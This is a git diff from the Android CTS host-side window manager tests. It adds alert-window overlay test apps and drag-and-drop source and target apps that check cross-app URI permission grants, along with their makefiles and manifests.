+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/src/android/server/alertwindowapp/AlertWindowTestActivity.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.alertwindowapp;
+
+import android.os.Bundle;
+import android.server.alertwindowappsdk25.AlertWindowTestBaseActivity;
+
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+import static android.view.WindowManager.LayoutParams.TYPE_PHONE;
+import static android.view.WindowManager.LayoutParams.TYPE_PRIORITY_PHONE;
+import static android.view.WindowManager.LayoutParams.TYPE_SYSTEM_ALERT;
+import static android.view.WindowManager.LayoutParams.TYPE_SYSTEM_ERROR;
+import static android.view.WindowManager.LayoutParams.TYPE_SYSTEM_OVERLAY;
+
+public class AlertWindowTestActivity extends AlertWindowTestBaseActivity {
+    private static final int[] ALERT_WINDOW_TYPES = {
+            TYPE_PHONE,
+            TYPE_PRIORITY_PHONE,
+            TYPE_SYSTEM_ALERT,
+            TYPE_SYSTEM_ERROR,
+            TYPE_SYSTEM_OVERLAY,
+            TYPE_APPLICATION_OVERLAY
+    };
+
+    @Override
+    protected void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+        createAllAlertWindows(getPackageName());
+    }
+
+    @Override
+    protected int[] getAlertWindowTypes() {
+        return ALERT_WINDOW_TYPES;
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/Android.mk b/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/Android.mk
new file mode 100644
index 0000000..940f7a6
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/Android.mk
@@ -0,0 +1,32 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := \
+    $(call all-java-files-under, src) \
+
+LOCAL_SDK_VERSION := 25
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PACKAGE_NAME := CtsDeviceAlertWindowTestAppSdk25
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/AndroidManifest.xml
new file mode 100755
index 0000000..efc80ea
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.server.alertwindowappsdk25">
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+    <application android:label="CtsAlertWindowSdk25">
+        <activity android:name=".AlertWindowTestActivitySdk25"
+                  android:exported="true" android:windowSoftInputMode="stateAlwaysVisible">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
+
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/src/android/server/alertwindowappsdk25/AlertWindowTestActivitySdk25.java b/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/src/android/server/alertwindowappsdk25/AlertWindowTestActivitySdk25.java
new file mode 100644
index 0000000..046879f
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/src/android/server/alertwindowappsdk25/AlertWindowTestActivitySdk25.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.alertwindowappsdk25;
+
+import android.os.Bundle;
+
+import static android.view.WindowManager.LayoutParams.TYPE_PHONE;
+import static android.view.WindowManager.LayoutParams.TYPE_PRIORITY_PHONE;
+import static android.view.WindowManager.LayoutParams.TYPE_SYSTEM_ALERT;
+import static android.view.WindowManager.LayoutParams.TYPE_SYSTEM_ERROR;
+import static android.view.WindowManager.LayoutParams.TYPE_SYSTEM_OVERLAY;
+
+public class AlertWindowTestActivitySdk25 extends AlertWindowTestBaseActivity {
+    private static final int[] ALERT_WINDOW_TYPES = {
+            TYPE_PHONE,
+            TYPE_PRIORITY_PHONE,
+            TYPE_SYSTEM_ALERT,
+            TYPE_SYSTEM_ERROR,
+            TYPE_SYSTEM_OVERLAY
+    };
+
+    @Override
+    protected void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+        createAllAlertWindows(getPackageName());
+    }
+
+    @Override
+    protected int[] getAlertWindowTypes() {
+        return ALERT_WINDOW_TYPES;
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/src/android/server/alertwindowappsdk25/AlertWindowTestBaseActivity.java b/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/src/android/server/alertwindowappsdk25/AlertWindowTestBaseActivity.java
new file mode 100644
index 0000000..2d0dad0
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/src/android/server/alertwindowappsdk25/AlertWindowTestBaseActivity.java
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.alertwindowappsdk25;
+
+import android.app.Activity;
+import android.graphics.Color;
+import android.graphics.Point;
+import android.util.Log;
+import android.view.WindowManager;
+import android.widget.TextView;
+
+import static android.view.Gravity.LEFT;
+import static android.view.Gravity.TOP;
+import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;
+import static android.view.WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH;
+
+public abstract class AlertWindowTestBaseActivity extends Activity {
+
+    protected void createAllAlertWindows(String windowName) {
+        final int[] alertWindowTypes = getAlertWindowTypes();
+        for (int type : alertWindowTypes) {
+            try {
+                createAlertWindow(type, windowName);
+            } catch (Exception e) {
+                Log.e("AlertWindowTestBaseActivity", "Can't create type=" + type, e);
+            }
+        }
+    }
+
+    protected void createAlertWindow(int type) {
+        createAlertWindow(type, getPackageName());
+    }
+
+    protected void createAlertWindow(int type, String windowName) {
+        if (!isSystemAlertWindowType(type)) {
+            throw new IllegalArgumentException("Well...you are not an alert window type=" + type);
+        }
+
+        final Point size = new Point();
+        final WindowManager wm = getSystemService(WindowManager.class);
+        wm.getDefaultDisplay().getSize(size);
+
+        WindowManager.LayoutParams params = new WindowManager.LayoutParams(
+                type, FLAG_NOT_FOCUSABLE | FLAG_WATCH_OUTSIDE_TOUCH | FLAG_NOT_TOUCHABLE);
+        params.width = size.x / 3;
+        params.height = size.y / 3;
+        params.gravity = TOP | LEFT;
+        params.setTitle(windowName);
+
+        final TextView view = new TextView(this);
+        view.setText(windowName + "   type=" + type);
+        view.setBackgroundColor(Color.RED);
+        wm.addView(view, params);
+    }
+
+    private boolean isSystemAlertWindowType(int type) {
+        final int[] alertWindowTypes = getAlertWindowTypes();
+        for (int current : alertWindowTypes) {
+            if (current == type) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    protected abstract int[] getAlertWindowTypes();
+}
diff --git a/hostsidetests/services/windowmanager/dndsourceapp/Android.mk b/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk
similarity index 100%
rename from hostsidetests/services/windowmanager/dndsourceapp/Android.mk
rename to hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk
diff --git a/hostsidetests/services/windowmanager/dndsourceapp/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/AndroidManifest.xml
similarity index 100%
rename from hostsidetests/services/windowmanager/dndsourceapp/AndroidManifest.xml
rename to hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/AndroidManifest.xml
diff --git a/hostsidetests/services/windowmanager/dndsourceapp/res/layout/source_activity.xml b/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/res/layout/source_activity.xml
similarity index 100%
rename from hostsidetests/services/windowmanager/dndsourceapp/res/layout/source_activity.xml
rename to hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/res/layout/source_activity.xml
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/DragSource.java b/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/DragSource.java
new file mode 100644
index 0000000..7cb7b8b
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/DragSource.java
@@ -0,0 +1,131 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.wm.cts.dndsourceapp;
+
+import android.app.Activity;
+import android.content.ClipData;
+import android.content.ClipDescription;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.FileUriExposedException;
+import android.os.PersistableBundle;
+import android.util.Log;
+import android.view.MotionEvent;
+import android.view.View;
+import android.widget.TextView;
+
+import java.io.File;
+
+public class DragSource extends Activity{
+    private static final String LOG_TAG = "DragSource";
+
+    private static final String RESULT_KEY_START_DRAG = "START_DRAG";
+    private static final String RESULT_KEY_DETAILS = "DETAILS";
+    private static final String RESULT_OK = "OK";
+    private static final String RESULT_EXCEPTION = "Exception";
+
+    private static final String URI_PREFIX =
+            "content://" + DragSourceContentProvider.AUTHORITY + "/data";
+
+    private static final String MAGIC_VALUE = "42";
+    private static final long TIMEOUT_CANCEL = 150;
+
+    private TextView mTextView;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        View view = getLayoutInflater().inflate(R.layout.source_activity, null);
+        setContentView(view);
+
+        final Uri plainUri = Uri.parse(URI_PREFIX + "/" + MAGIC_VALUE);
+
+        setUpDragSource("disallow_global", plainUri, 0);
+        setUpDragSource("cancel_soon", plainUri, View.DRAG_FLAG_GLOBAL);
+
+        setUpDragSource("grant_none", plainUri, View.DRAG_FLAG_GLOBAL);
+        setUpDragSource("grant_read", plainUri,
+                View.DRAG_FLAG_GLOBAL | View.DRAG_FLAG_GLOBAL_URI_READ);
+        setUpDragSource("grant_write", plainUri,
+                View.DRAG_FLAG_GLOBAL | View.DRAG_FLAG_GLOBAL_URI_WRITE);
+        setUpDragSource("grant_read_persistable", plainUri,
+                View.DRAG_FLAG_GLOBAL | View.DRAG_FLAG_GLOBAL_URI_READ |
+                        View.DRAG_FLAG_GLOBAL_PERSISTABLE_URI_PERMISSION);
+
+        final Uri prefixUri = Uri.parse(URI_PREFIX);
+
+        setUpDragSource("grant_read_prefix", prefixUri,
+                View.DRAG_FLAG_GLOBAL | View.DRAG_FLAG_GLOBAL_URI_READ |
+                        View.DRAG_FLAG_GLOBAL_PREFIX_URI_PERMISSION);
+        setUpDragSource("grant_read_noprefix", prefixUri,
+                View.DRAG_FLAG_GLOBAL | View.DRAG_FLAG_GLOBAL_URI_READ);
+
+        final Uri fileUri = Uri.fromFile(new File("/sdcard/sample.jpg"));
+
+        setUpDragSource("file_local", fileUri, 0);
+        setUpDragSource("file_global", fileUri, View.DRAG_FLAG_GLOBAL);
+    }
+
+    private void setUpDragSource(String mode, final Uri uri, final int flags) {
+        if (!mode.equals(getIntent().getStringExtra("mode"))) {
+            return;
+        }
+        mTextView = (TextView) findViewById(R.id.drag_source);
+        mTextView.setText(mode);
+        mTextView.setOnTouchListener(new View.OnTouchListener() {
+            @Override
+            public boolean onTouch(View v, MotionEvent event) {
+                if (event.getAction() != MotionEvent.ACTION_DOWN) {
+                    return false;
+                }
+                try {
+                    final ClipDescription clipDescription = new ClipDescription("", new String[] {
+                            ClipDescription.MIMETYPE_TEXT_URILIST });
+                    PersistableBundle extras = new PersistableBundle(1);
+                    extras.putString("extraKey", "extraValue");
+                    clipDescription.setExtras(extras);
+                    final ClipData clipData = new ClipData(clipDescription, new ClipData.Item(uri));
+                    v.startDragAndDrop(
+                            clipData,
+                            new View.DragShadowBuilder(v),
+                            null,
+                            flags);
+                    logResult(RESULT_KEY_START_DRAG, RESULT_OK);
+                } catch (FileUriExposedException e) {
+                    logResult(RESULT_KEY_DETAILS, e.getMessage());
+                    logResult(RESULT_KEY_START_DRAG, RESULT_EXCEPTION);
+                }
+                if (mode.equals("cancel_soon")) {
+                    new Handler().postDelayed(new Runnable() {
+                        @Override
+                        public void run() {
+                            v.cancelDragAndDrop();
+                        }
+                    }, TIMEOUT_CANCEL);
+                }
+                return true;
+            }
+        });
+    }
+
+    private void logResult(String key, String value) {
+        Log.i(LOG_TAG, key + "=" + value);
+        mTextView.setText(mTextView.getText() + "\n" + key + "=" + value);
+    }
+}
diff --git a/hostsidetests/services/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/DragSourceContentProvider.java b/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/DragSourceContentProvider.java
similarity index 100%
rename from hostsidetests/services/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/DragSourceContentProvider.java
rename to hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/DragSourceContentProvider.java
diff --git a/hostsidetests/services/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/DragSourceCursor.java b/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/DragSourceCursor.java
similarity index 100%
rename from hostsidetests/services/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/DragSourceCursor.java
rename to hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/DragSourceCursor.java
diff --git a/hostsidetests/services/windowmanager/dndtargetapp/Android.mk b/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/Android.mk
similarity index 100%
rename from hostsidetests/services/windowmanager/dndtargetapp/Android.mk
rename to hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/Android.mk
diff --git a/hostsidetests/services/windowmanager/dndtargetapp/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/AndroidManifest.xml
similarity index 100%
rename from hostsidetests/services/windowmanager/dndtargetapp/AndroidManifest.xml
rename to hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/AndroidManifest.xml
diff --git a/hostsidetests/services/windowmanager/dndtargetapp/res/layout/target_activity.xml b/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/res/layout/target_activity.xml
similarity index 100%
rename from hostsidetests/services/windowmanager/dndtargetapp/res/layout/target_activity.xml
rename to hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/res/layout/target_activity.xml
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/src/android/wm/cts/dndtargetapp/DropTarget.java b/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/src/android/wm/cts/dndtargetapp/DropTarget.java
new file mode 100644
index 0000000..8892c6f
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/src/android/wm/cts/dndtargetapp/DropTarget.java
@@ -0,0 +1,308 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.wm.cts.dndtargetapp;
+
+import android.app.Activity;
+import android.content.ClipData;
+import android.content.ClipDescription;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.PersistableBundle;
+import android.util.Log;
+import android.view.DragAndDropPermissions;
+import android.view.DragEvent;
+import android.view.View;
+import android.widget.TextView;
+
+public class DropTarget extends Activity {
+    public static final String LOG_TAG = "DropTarget";
+
+    private static final String RESULT_KEY_DRAG_STARTED = "DRAG_STARTED";
+    private static final String RESULT_KEY_DRAG_ENDED = "DRAG_ENDED";
+    private static final String RESULT_KEY_EXTRAS = "EXTRAS";
+    private static final String RESULT_KEY_DROP_RESULT = "DROP";
+    private static final String RESULT_KEY_DETAILS = "DETAILS";
+    private static final String RESULT_KEY_ACCESS_AFTER = "AFTER";
+    private static final String RESULT_KEY_ACCESS_BEFORE = "BEFORE";
+    private static final String RESULT_KEY_CLIP_DATA_ERROR = "CLIP_DATA_ERROR";
+    private static final String RESULT_KEY_CLIP_DESCR_ERROR = "CLIP_DESCR_ERROR";
+    private static final String RESULT_KEY_LOCAL_STATE_ERROR = "LOCAL_STATE_ERROR";
+
+    public static final String RESULT_OK = "OK";
+    public static final String RESULT_EXCEPTION = "Exception";
+    public static final String RESULT_MISSING = "MISSING";
+    public static final String RESULT_LEAKING = "LEAKING";
+
+    protected static final String MAGIC_VALUE = "42";
+
+    private TextView mTextView;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        View view = getLayoutInflater().inflate(R.layout.target_activity, null);
+        setContentView(view);
+
+        setUpDropTarget("request_none", new OnDragUriReadListener(false));
+        setUpDropTarget("request_read", new OnDragUriReadListener());
+        setUpDropTarget("request_write", new OnDragUriWriteListener());
+        setUpDropTarget("request_read_nested", new OnDragUriReadPrefixListener());
+        setUpDropTarget("request_take_persistable", new OnDragUriTakePersistableListener());
+    }
+
+    private void setUpDropTarget(String mode, OnDragUriListener listener) {
+        if (!mode.equals(getIntent().getStringExtra("mode"))) {
+            return;
+        }
+        mTextView = (TextView)findViewById(R.id.drag_target);
+        mTextView.setText(mode);
+        mTextView.setOnDragListener(listener);
+    }
+
+    private String checkExtraValue(DragEvent event) {
+        PersistableBundle extras = event.getClipDescription().getExtras();
+        if (extras == null) {
+            return "Null";
+        }
+
+        final String value = extras.getString("extraKey");
+        if ("extraValue".equals(value)) {
+            return RESULT_OK;
+        }
+        return value;
+    }
+
+    private void logResult(String key, String value) {
+        Log.i(LOG_TAG, key + "=" + value);
+        mTextView.setText(mTextView.getText() + "\n" + key + "=" + value);
+    }
+
+    private abstract class OnDragUriListener implements View.OnDragListener {
+        private final boolean requestPermissions;
+
+        public OnDragUriListener(boolean requestPermissions) {
+            this.requestPermissions = requestPermissions;
+        }
+
+        @Override
+        public boolean onDrag(View v, DragEvent event) {
+            checkDragEvent(event);
+
+            switch (event.getAction()) {
+                case DragEvent.ACTION_DRAG_STARTED:
+                    logResult(RESULT_KEY_DRAG_STARTED, RESULT_OK);
+                    logResult(RESULT_KEY_EXTRAS, checkExtraValue(event));
+                    return true;
+
+                case DragEvent.ACTION_DRAG_ENTERED:
+                    return true;
+
+                case DragEvent.ACTION_DRAG_LOCATION:
+                    return true;
+
+                case DragEvent.ACTION_DRAG_EXITED:
+                    return true;
+
+                case DragEvent.ACTION_DROP:
+                    // Try accessing the Uri without the permissions grant.
+                    accessContent(event, RESULT_KEY_ACCESS_BEFORE, false);
+
+                    // Try accessing the Uri with the permission grant (if required);
+                    accessContent(event, RESULT_KEY_DROP_RESULT, requestPermissions);
+
+                    // Try accessing the Uri after the permissions have been released.
+                    accessContent(event, RESULT_KEY_ACCESS_AFTER, false);
+                    return true;
+
+                case DragEvent.ACTION_DRAG_ENDED:
+                    logResult(RESULT_KEY_DRAG_ENDED, RESULT_OK);
+                    return true;
+
+                default:
+                    return false;
+            }
+        }
+
+        private void accessContent(DragEvent event, String resultKey, boolean requestPermissions) {
+            String result;
+            try {
+                result = processDrop(event, requestPermissions);
+            } catch (SecurityException e) {
+                result = RESULT_EXCEPTION;
+                if (resultKey.equals(RESULT_KEY_DROP_RESULT)) {
+                    logResult(RESULT_KEY_DETAILS, e.getMessage());
+                }
+            }
+            logResult(resultKey, result);
+        }
+
+        private String processDrop(DragEvent event, boolean requestPermissions) {
+            final ClipData clipData = event.getClipData();
+            if (clipData == null) {
+                return "Null ClipData";
+            }
+            if (clipData.getItemCount() == 0) {
+                return "Empty ClipData";
+            }
+            ClipData.Item item = clipData.getItemAt(0);
+            if (item == null) {
+                return "Null ClipData.Item";
+            }
+            Uri uri = item.getUri();
+            if (uri == null) {
+                return "Null Uri";
+            }
+
+            DragAndDropPermissions permissions = null;
+            if (requestPermissions) {
+                permissions = requestDragAndDropPermissions(event);
+                if (permissions == null) {
+                    return "Null DragAndDropPermissions";
+                }
+            }
+
+            try {
+                return processUri(uri);
+            } finally {
+                if (permissions != null) {
+                    permissions.release();
+                }
+            }
+        }
+
+        abstract protected String processUri(Uri uri);
+    }
+
+    private void checkDragEvent(DragEvent event) {
+        final int action = event.getAction();
+
+        // ClipData should be available for ACTION_DROP only.
+        final ClipData clipData = event.getClipData();
+        if (action == DragEvent.ACTION_DROP) {
+            if (clipData == null) {
+                logResult(RESULT_KEY_CLIP_DATA_ERROR, RESULT_MISSING);
+            }
+        } else {
+            if (clipData != null) {
+                logResult(RESULT_KEY_CLIP_DATA_ERROR, RESULT_LEAKING + action);
+            }
+        }
+
+        // ClipDescription should be always available except for ACTION_DRAG_ENDED.
+        final ClipDescription clipDescription = event.getClipDescription();
+        if (action != DragEvent.ACTION_DRAG_ENDED) {
+            if (clipDescription == null) {
+                logResult(RESULT_KEY_CLIP_DESCR_ERROR, RESULT_MISSING + action);
+            }
+        } else {
+            if (clipDescription != null) {
+                logResult(RESULT_KEY_CLIP_DESCR_ERROR, RESULT_LEAKING);
+            }
+        }
+
+        // Local state should be always null for cross-app drags.
+        final Object localState = event.getLocalState();
+        if (localState != null) {
+            logResult(RESULT_KEY_LOCAL_STATE_ERROR, RESULT_LEAKING + action);
+        }
+    }
+
+    private class OnDragUriReadListener extends OnDragUriListener {
+        OnDragUriReadListener(boolean requestPermissions) {
+            super(requestPermissions);
+        }
+
+        OnDragUriReadListener() {
+            super(true);
+        }
+
+        protected String processUri(Uri uri) {
+            return checkQueryResult(uri, MAGIC_VALUE);
+        }
+
+        protected String checkQueryResult(Uri uri, String expectedValue) {
+            Cursor cursor = null;
+            try {
+                cursor = getContentResolver().query(uri, null, null, null, null);
+                if (cursor == null) {
+                    return "Null Cursor";
+                }
+                cursor.moveToPosition(0);
+                String value = cursor.getString(0);
+                if (!expectedValue.equals(value)) {
+                    return "Wrong value: " + value;
+                }
+                return RESULT_OK;
+            } finally {
+                if (cursor != null) {
+                    cursor.close();
+                }
+            }
+        }
+    }
+
+    private class OnDragUriWriteListener extends OnDragUriListener {
+        OnDragUriWriteListener() {
+            super(true);
+        }
+
+        protected String processUri(Uri uri) {
+            ContentValues values = new ContentValues();
+            values.put("key", 100);
+            getContentResolver().update(uri, values, null, null);
+            return RESULT_OK;
+        }
+    }
+
+    private class OnDragUriReadPrefixListener extends OnDragUriReadListener {
+        @Override
+        protected String processUri(Uri uri) {
+            final String result1 = queryPrefixed(uri, "1");
+            if (!result1.equals(RESULT_OK)) {
+                return result1;
+            }
+            final String result2 = queryPrefixed(uri, "2");
+            if (!result2.equals(RESULT_OK)) {
+                return result2;
+            }
+            return queryPrefixed(uri, "3");
+        }
+
+        private String queryPrefixed(Uri uri, String selector) {
+            final Uri prefixedUri = Uri.parse(uri.toString() + "/" + selector);
+            return checkQueryResult(prefixedUri, selector);
+        }
+    }
+
+    private class OnDragUriTakePersistableListener extends OnDragUriListener {
+        OnDragUriTakePersistableListener() {
+            super(true);
+        }
+
+        @Override
+        protected String processUri(Uri uri) {
+            getContentResolver().takePersistableUriPermission(
+                    uri, View.DRAG_FLAG_GLOBAL_URI_READ);
+            getContentResolver().releasePersistableUriPermission(
+                    uri, View.DRAG_FLAG_GLOBAL_URI_READ);
+            return RESULT_OK;
+        }
+    }
+}
diff --git a/hostsidetests/services/windowmanager/dndtargetappsdk23/Android.mk b/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/Android.mk
similarity index 100%
rename from hostsidetests/services/windowmanager/dndtargetappsdk23/Android.mk
rename to hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/Android.mk
diff --git a/hostsidetests/services/windowmanager/dndtargetappsdk23/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/AndroidManifest.xml
similarity index 100%
rename from hostsidetests/services/windowmanager/dndtargetappsdk23/AndroidManifest.xml
rename to hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/AndroidManifest.xml
diff --git a/hostsidetests/services/windowmanager/dndtargetappsdk23/res/layout/target_activity.xml b/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/res/layout/target_activity.xml
similarity index 100%
rename from hostsidetests/services/windowmanager/dndtargetappsdk23/res/layout/target_activity.xml
rename to hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/res/layout/target_activity.xml
diff --git a/hostsidetests/services/windowmanager/dndtargetappsdk23/src/android/wm/cts/dndtargetappsdk23/DropTarget.java b/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/src/android/wm/cts/dndtargetappsdk23/DropTarget.java
similarity index 100%
rename from hostsidetests/services/windowmanager/dndtargetappsdk23/src/android/wm/cts/dndtargetappsdk23/DropTarget.java
rename to hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/src/android/wm/cts/dndtargetappsdk23/DropTarget.java
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/Android.mk b/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/Android.mk
new file mode 100644
index 0000000..e5aa610
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2015 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_SDK_VERSION := test_current
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PACKAGE_NAME := CtsDeviceWindowFramesTestApp
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
